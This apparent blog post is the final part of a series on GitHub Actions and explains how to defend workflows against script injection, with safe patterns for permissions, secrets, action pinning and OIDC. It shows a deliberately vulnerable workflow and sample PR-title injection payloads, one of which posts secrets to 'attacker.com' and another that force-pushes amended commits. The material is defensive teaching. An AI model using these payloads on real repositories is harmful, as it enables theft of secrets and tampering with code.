After covering all the features of GitHub Actions, there’s one critical topic left: security. In this final article, I’ll show you how to protect your workflows from injection attacks, especially when dealing with untrusted inputs from pull requests.<\/p>\n
When your workflow processes user input – like PR titles, commit messages, or issue comments – you’re dealing with untrusted data. If you’re not careful, attackers can inject malicious code into your workflow.<\/p>\n
Let me show you the vulnerable pattern I discovered, then how to fix it.<\/p>\n
Here’s a workflow that looks innocent but is actually dangerous:<\/p>\n
File: workflows\/20-workflow-security.yaml<\/p>\n
name: 20 - Workflow Security\n\non:\n pull_request:\n\njobs:\n unsafe-pr:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions\/checkout@v4\n \n - name: Check PR title\n run: |\n title=${{ github.event.pull_request.title }}\n if [[ $title =~ ^feat ]]; then\n echo \"PR is a feature\"\n exit 0\n else\n echo \"PR is not a feature\"\n exit 1\n fi<\/code><\/pre>\nWhy This Is Dangerous<\/h3>\n
Look at this line:<\/p>\n
title=${{ github.event.pull_request.title }}<\/code><\/pre>\nThe PR title is inserted directly into the bash script. An attacker can create a PR with this title:<\/p>\n
feat: add feature\"; echo \"HACKED\"; echo \"<\/code><\/pre>\nWhen the workflow runs, it becomes:<\/p>\n
title=feat: add feature\"; echo \"HACKED\"; echo \"<\/code><\/pre>\nThe semicolons break out of the string and execute arbitrary commands!<\/p>\n
Real Attack Example<\/h3>\n
I tested this in my home lab. With a malicious PR title, an attacker could:<\/p>\n
Steal secrets:<\/strong><\/p>\n\"; echo $GITHUB_TOKEN | base64; echo \"<\/code><\/pre>\nModify code:<\/strong><\/p>\n\"; git config user.name \"attacker\"; git commit --amend --no-edit; git push --force; echo \"<\/code><\/pre>\nExfiltrate data:<\/strong><\/p>\n\"; curl -X POST https:\/\/attacker.com -d @secrets.txt; echo \"<\/code><\/pre>\nThis is called script injection or command injection, and it’s a serious vulnerability.<\/p>\n
The Safe Pattern: Using Environment Variables<\/h3>\n
The fix is simple – use environment variables instead of direct substitution:<\/p>\n
jobs:\n safer-pr:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions\/checkout@v4\n \n - name: Check PR title\n env:\n TITLE: ${{ github.event.pull_request.title }}\n run: |\n if [[ $TITLE =~ ^feat ]]; then\n echo \"PR is a feature\"\n exit 0\n else\n echo \"PR is not a feature\"\n exit 1\n fi<\/code><\/pre>\nWhy This Is Safe<\/h3>\n
The key difference:<\/p>\n
env:\n TITLE: ${{ github.event.pull_request.title }}\nrun: |\n if [[ $TITLE =~ ^feat ]]; then<\/code><\/pre>\nNow the PR title is passed as an environment variable $TITLE, not inserted into the script.<\/p>\n
When an attacker tries the same malicious title:<\/p>\n
feat: add feature\"; echo \"HACKED\"; echo \"<\/code><\/pre>\nIt becomes:<\/p>\n
TITLE='feat: add feature\"; echo \"HACKED\"; echo \"'<\/code><\/pre>\nThe entire string, including quotes and semicolons, is treated as literal text, not executable code.<\/p>\n
The Technical Reason<\/h3>\n
Direct substitution:<\/strong><\/p>\n- GitHub replaces ${{ }} during workflow parsing<\/li>
- The result is inserted directly into the script<\/li>
- Bash interprets special characters (quotes, semicolons, backticks)<\/li><\/ul>\n
Environment variables:<\/strong><\/p>\n- GitHub sets the environment variable before running the script<\/li>
- Bash reads the variable value as a string<\/li>
- Special characters are escaped automatically<\/li><\/ul>\n
The Safest Pattern: Using Custom Actions<\/h3>\n
For even better protection, I created a JavaScript action that handles untrusted input safely:<\/p>\n
File: actions\/security-safe-input\/action.yaml<\/p>\n
name: Safe Title Check\ndescription: Safely checks the title of a PR.\n\ninputs:\n pr-title:\n description: The PR title\n required: true\n\nruns:\n using: node20\n main: index.js<\/code><\/pre>\nFile: actions\/security-safe-input\/index.js<\/p>\n
const core = require('@actions\/core');\n\nasync function run() {\n try {\n const prTitle = core.getInput('pr-title');\n if (prTitle.startsWith('feat')) {\n core.info('PR is a feature');\n } else {\n core.setFailed('PR is not a feature');\n }\n } catch (e) {\n core.setFailed(e.message);\n }\n}\n\nrun();<\/code><\/pre>\nUsing it in the workflow:<\/p>\n
jobs:\n js-safer-pr:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions\/checkout@v4\n \n - name: Check PR title\n uses: .\/.github\/actions\/security-safe-input\n with:\n pr-title: ${{ github.event.pull_request.title }}<\/code><\/pre>\nWhy JavaScript Actions Are Safer<\/h3>\n
The @actions\/core toolkit automatically:<\/p>\n
- Escapes special characters in inputs<\/li>
- Prevents command injection<\/li>
- Validates input types<\/li>
- Masks secrets in logs<\/li><\/ul>\n
When you use core.getInput(‘pr-title’), the library handles all the dangerous edge cases for you.<\/p>\n
Understanding the Attack Surface<\/h3>\n
Not all GitHub context variables are dangerous. Here’s what I learned:<\/p>\n
Untrusted Inputs (NEVER use directly in bash)<\/h3>\n
These come from users and can contain malicious code:<\/p>\n
Pull Request data:<\/p>\n
- ${{ github.event.pull_request.title }}<\/li>
- ${{ github.event.pull_request.body }}<\/li>
- ${{ github.event.pull_request.head.ref }} (branch name)<\/li>
- ${{ github.event.pull_request.head.label }}<\/li>
- ${{ github.event.pull_request.head.repo.full_name }}<\/li><\/ul>\n
Issue data:<\/p>\n
- ${{ github.event.issue.title }}<\/li>
- ${{ github.event.issue.body }}<\/li><\/ul>\n
Comment data:<\/p>\n
- ${{ github.event.comment.body }}<\/li><\/ul>\n
Commit data:<\/p>\n
- ${{ github.event.head_commit.message }}<\/li>
- ${{ github.event.commits[0].message }}<\/li><\/ul>\n
Discussion data:<\/p>\n
- ${{ github.event.discussion.title }}<\/li>
- ${{ github.event.discussion.body }}<\/li><\/ul>\n
Trusted Inputs (Safe to use directly)<\/h3>\n
These come from GitHub and cannot be manipulated:<\/p>\n
- ${{ github.sha }} – Commit SHA<\/li>
- ${{ github.ref }} – Branch reference<\/li>
- ${{ github.repository }} – Repository name<\/li>
- ${{ github.actor }} – Username (validated by GitHub)<\/li>
- ${{ github.run_id }} – Workflow run ID<\/li>
- ${{ github.run_number }} – Workflow run number<\/li>
- ${{ github.workflow }} – Workflow name (from your file)<\/li>
- ${{ github.event_name }} – Event type<\/li><\/ul>\n
These are safe because GitHub generates them, not users.<\/p>\n
Real-World Security Patterns<\/h3>\nPattern 1: Validate Before Use<\/h3>\n
Even with environment variables, validate the input format:<\/p>\n
steps:\n - name: Validate PR title\n env:\n PR_TITLE: ${{ github.event.pull_request.title }}\n run: |\n if [[ ! $PR_TITLE =~ ^(feat|fix|docs|chore|refactor): ]]; then\n echo \"Invalid PR title format\"\n exit 1\n fi\n echo \"PR title is valid\"<\/code><\/pre>\nThis ensures the title matches your expected format before using it.<\/p>\n
Pattern 2: Use Actions for Complex Logic<\/h3>\n
For anything more than simple validation, use JavaScript actions:<\/p>\n
const core = require('@actions\/core');\n\nasync function run() {\n try {\n const prTitle = core.getInput('pr-title');\n \n \/\/ Validate format\n const validPrefixes = ['feat', 'fix', 'docs', 'chore', 'refactor'];\n const hasValidPrefix = validPrefixes.some(prefix => \n prTitle.startsWith(`${prefix}:`)\n );\n \n if (!hasValidPrefix) {\n core.setFailed(\n `PR title must start with one of: ${validPrefixes.join(', ')}`\n );\n return;\n }\n \n \/\/ Extract ticket number if present\n const ticketMatch = prTitle.match(\/\\[([A-Z]+-\\d+)\\]\/);\n if (ticketMatch) {\n core.setOutput('ticket-number', ticketMatch[1]);\n }\n \n core.info('PR title is valid');\n } catch (e) {\n core.setFailed(e.message);\n }\n}\n\nrun();<\/code><\/pre>\nPattern 3: Limit Permissions<\/h3>\n
Use the permissions key to restrict what workflows can do:<\/p>\n
name: PR Validation\n\non:\n pull_request:\n\npermissions:\n contents: read\n pull-requests: read\n\njobs:\n validate:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n - name: Validate PR\n env:\n PR_TITLE: ${{ github.event.pull_request.title }}\n run: |\n echo \"Validating: $PR_TITLE\"<\/code><\/pre>\nWith contents: read, even if an attacker injects code, they can’t push changes or modify releases.<\/p>\n
Pattern 4: Use pull_request_target Carefully<\/h3>\n
There’s a special trigger called pull_request_target that runs in the context of the base branch, not the PR branch. This is dangerous!<\/p>\n
UNSAFE:<\/strong><\/p>\non:\n pull_request_target: # Dangerous!\n\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4 # Checks out PR code\n - run: npm install # Runs attacker's package.json!\n - run: npm run build<\/code><\/pre>\nAn attacker can modify package.json to execute malicious code during npm install.<\/p>\n
SAFE:<\/strong><\/p>\non:\n pull_request_target:\n\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n with:\n ref: ${{ github.base_ref }} # Checkout base branch, not PR!\n \n - name: Get PR title safely\n env:\n PR_TITLE: ${{ github.event.pull_request.title }}\n run: |\n echo \"PR Title: $PR_TITLE\"<\/code><\/pre>\nOnly check out the base branch code, never the PR code when using pull_request_target.<\/p>\n
Secrets Management<\/h3>\n
Secrets need special care in workflows.<\/p>\n
Never Log Secrets<\/h3>\n# UNSAFE!\n- name: Deploy\n run: |\n echo \"API Key: ${{ secrets.API_KEY }}\"\n curl -H \"Authorization: ${{ secrets.API_KEY }}\" ...<\/code><\/pre>\nGitHub automatically masks secrets in logs, but explicit echo commands can expose them.<\/p>\n
Safe pattern:<\/p>\n
- name: Deploy\n env:\n API_KEY: ${{ secrets.API_KEY }}\n run: |\n # Use $API_KEY without echoing it\n curl -H \"Authorization: $API_KEY\" https:\/\/api.example.com<\/code><\/pre>\nMask Custom Secrets in JavaScript Actions<\/h3>\n
If you generate secrets dynamically, mask them:<\/p>\n
const core = require('@actions\/core');\n\nasync function run() {\n const apiKey = generateApiKey();\n \n \/\/ Mask it before using\n core.setSecret(apiKey);\n \n \/\/ Now safe to use\n core.setOutput('api-key', apiKey);\n}<\/code><\/pre>\nUse Environment-Specific Secrets<\/h3>\n
Don’t use the same secrets for staging and production:<\/p>\n
jobs:\n deploy-staging:\n runs-on: ubuntu-latest\n environment: staging\n steps:\n - name: Deploy\n env:\n API_KEY: ${{ secrets.API_KEY }} # staging API key\n run: .\/deploy.sh\n\n deploy-prod:\n runs-on: ubuntu-latest\n environment: production\n steps:\n - name: Deploy\n env:\n API_KEY: ${{ secrets.API_KEY }} # production API key\n run: .\/deploy.sh<\/code><\/pre>\nEach environment has its own secrets in GitHub Settings.<\/p>\n
Code Scanning and Dependency Updates<\/h3>\n
Beyond injection attacks, secure your dependencies too.<\/p>\n
Enable Dependabot<\/h3>\n
Create .github\/dependabot.yml:<\/p>\n
version: 2\nupdates:\n - package-ecosystem: \"npm\"\n directory: \"\/\"\n schedule:\n interval: \"weekly\"\n open-pull-requests-limit: 10\n \n - package-ecosystem: \"github-actions\"\n directory: \"\/\"\n schedule:\n interval: \"weekly\"<\/code><\/pre>\nThis automatically updates:<\/p>\n
- npm packages<\/li>
- GitHub Actions versions<\/li><\/ul>\n
Pin Action Versions<\/h3>\n
UNSAFE:<\/strong><\/p>\n- uses: actions\/checkout@v4<\/code><\/pre>\nSAFE:<\/strong><\/p>\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1<\/code><\/pre>\nPin to specific commit SHA to prevent supply chain attacks. If the action is compromised, your workflow still uses the safe version.<\/p>\n
Use tools like pin-github-action to automate this.<\/p>\n
OIDC and Cloud Provider Authentication<\/h3>\n
For cloud deployments, use OIDC instead of long-lived credentials.<\/p>\n
The Old Way (Unsafe)<\/h3>\n- name: Configure AWS\n env:\n AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}\n AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}\n run: |\n aws s3 cp file.txt s3:\/\/bucket\/<\/code><\/pre>\nProblems:<\/p>\n
- Long-lived credentials stored in GitHub<\/li>
- If compromised, attacker has permanent access<\/li>
- No automatic rotation<\/li><\/ul>\n
The New Way (OIDC)<\/h3>\npermissions:\n id-token: write\n contents: read\n\njobs:\n deploy:\n runs-on: ubuntu-latest\n steps:\n - name: Configure AWS Credentials\n uses: aws-actions\/configure-aws-credentials@v4\n with:\n role-to-assume: arn:aws:iam::123456789012:role\/GitHubActionsRole\n aws-region: us-east-1\n \n - name: Deploy to S3\n run: |\n aws s3 cp file.txt s3:\/\/bucket\/<\/code><\/pre>\nBenefits:<\/p>\n
- No credentials stored in GitHub<\/li>
- Temporary credentials (valid for ~1 hour)<\/li>
- Automatic rotation<\/li>
- Can restrict by repository, branch, environment<\/li><\/ul>\n
What I Learned About Security<\/h3>\n- Default to environment variables:<\/strong> Always use env: for untrusted inputs. It’s free protection.<\/li>
- JavaScript actions are safer than bash:<\/strong> The @actions\/core library handles edge cases I didn’t even think of.<\/li>
- Validate everything:<\/strong> Even with environment variables, validate format and content.<\/li>
- Least privilege principle:<\/strong> Set permissions: to the minimum needed. Start with read and add write only when necessary.<\/li>
- Never trust PR code with pull_request_target:<\/strong> This trigger is for posting comments, not running PR code.<\/li>
- Pin actions to SHA:<\/strong> Using @v4 is convenient but risky. Pin to commit SHA for production workflows.<\/li>
- Audit your workflows:<\/strong> Use GitHub’s code scanning to find security issues automatically.<\/li>
- Test malicious inputs:<\/strong> In my home lab, I test with crafted inputs like:<\/li>
- OIDC for cloud access:<\/strong> Never store long-lived cloud credentials in GitHub secrets if you can use OIDC.<\/li>
- Read the security advisories:<\/strong> GitHub publishes security advisories for popular actions. Subscribe to them.<\/li><\/ol>\n
Security Checklist for Every Workflow<\/h3>\n
Before deploying a workflow to production, I check:<\/p>\n
- [ ] All user inputs use environment variables, not direct substitution<\/li>
- [ ] permissions: is set to minimum required<\/li>
- [ ] Actions are pinned to commit SHA, not tags<\/li>
- [ ] Secrets are never echoed or logged<\/li>
- [ ] pull_request_target (if used) only checks out base branch<\/li>
- [ ] Input validation happens before processing<\/li>
- [ ] Cloud credentials use OIDC, not static keys<\/li>
- [ ] Dependabot is enabled for automatic updates<\/li>
- [ ] Code scanning is enabled<\/li><\/ul>\n
Real-World Example: Secure PR Validation<\/h3>\n
Here’s how I combine everything for a production-grade PR validation workflow:<\/p>\n
name: Secure PR Validation\n\non:\n pull_request:\n types: [opened, synchronize, reopened]\n\npermissions:\n contents: read\n pull-requests: write\n statuses: write\n\njobs:\n validate-title:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n \n - name: Validate PR title\n uses: .\/.github\/actions\/security-safe-input\n with:\n pr-title: ${{ github.event.pull_request.title }}\n \n - name: Comment on PR\n if: failure()\n env:\n PR_NUMBER: ${{ github.event.pull_request.number }}\n GH_TOKEN: ${{ github.token }}\n run: |\n gh pr comment $PR_NUMBER --body \"PR title must follow format: type: description\"\n\n lint-and-test:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n \n - name: Setup Node\n uses: actions\/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2\n with:\n node-version: '20.x'\n \n - name: Install dependencies\n run: npm ci\n \n - name: Run tests\n run: npm test<\/code><\/pre>\nThis workflow:<\/p>\n
- Validates PR title safely with custom action<\/li>
- Uses minimal permissions<\/li>
- Pins actions to commit SHA<\/li>
- Never executes code from the PR<\/li>
- Uses environment variables for GitHub CLI<\/li><\/ul>\n
Conclusion<\/h3>\n
Security in GitHub Actions isn’t optional. One vulnerable workflow can expose your entire repository, secrets, and infrastructure.<\/p>\n
The good news: most attacks are preventable with simple patterns:<\/p>\n
- Use environment variables for untrusted inputs<\/li>
- Validate everything<\/li>
- Minimize permissions<\/li>
- Pin action versions<\/li>
- Use OIDC for cloud access<\/li><\/ol>","protected":false},"excerpt":{"rendered":"
After covering all the features of GitHub Actions, there’s one critical topic left: security. In this final article, I’ll show you how…<\/p>\n","protected":false},"author":2,"featured_media":81,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_rezaops_part":"7","_rezaops_linkedin_url":"https:\/\/www.linkedin.com\/pulse\/workflow-security-github-actions-protecting-against-attacks-chegini-akbmc\/","footnotes":""},"categories":[27,10],"tags":[30,8,29,38],"series":[28],"class_list":["post-79","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ci-cd","category-devops","tag-ci-cd","tag-devops","tag-github-actions","tag-security","series-github-actions"],"jetpack_featured_media_url":"https:\/\/rezachegini.com\/wp-content\/uploads\/2026\/10\/workflow-security-github-actions-cover.png","_links":{"self":[{"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/posts\/79","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=79"}],"version-history":[{"count":1,"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/posts\/79\/revisions"}],"predecessor-version":[{"id":80,"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/posts\/79\/revisions\/80"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/media\/81"}],"wp:attachment":[{"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=79"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=79"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=79"},{"taxonomy":"series","embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Fseries&post=79"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}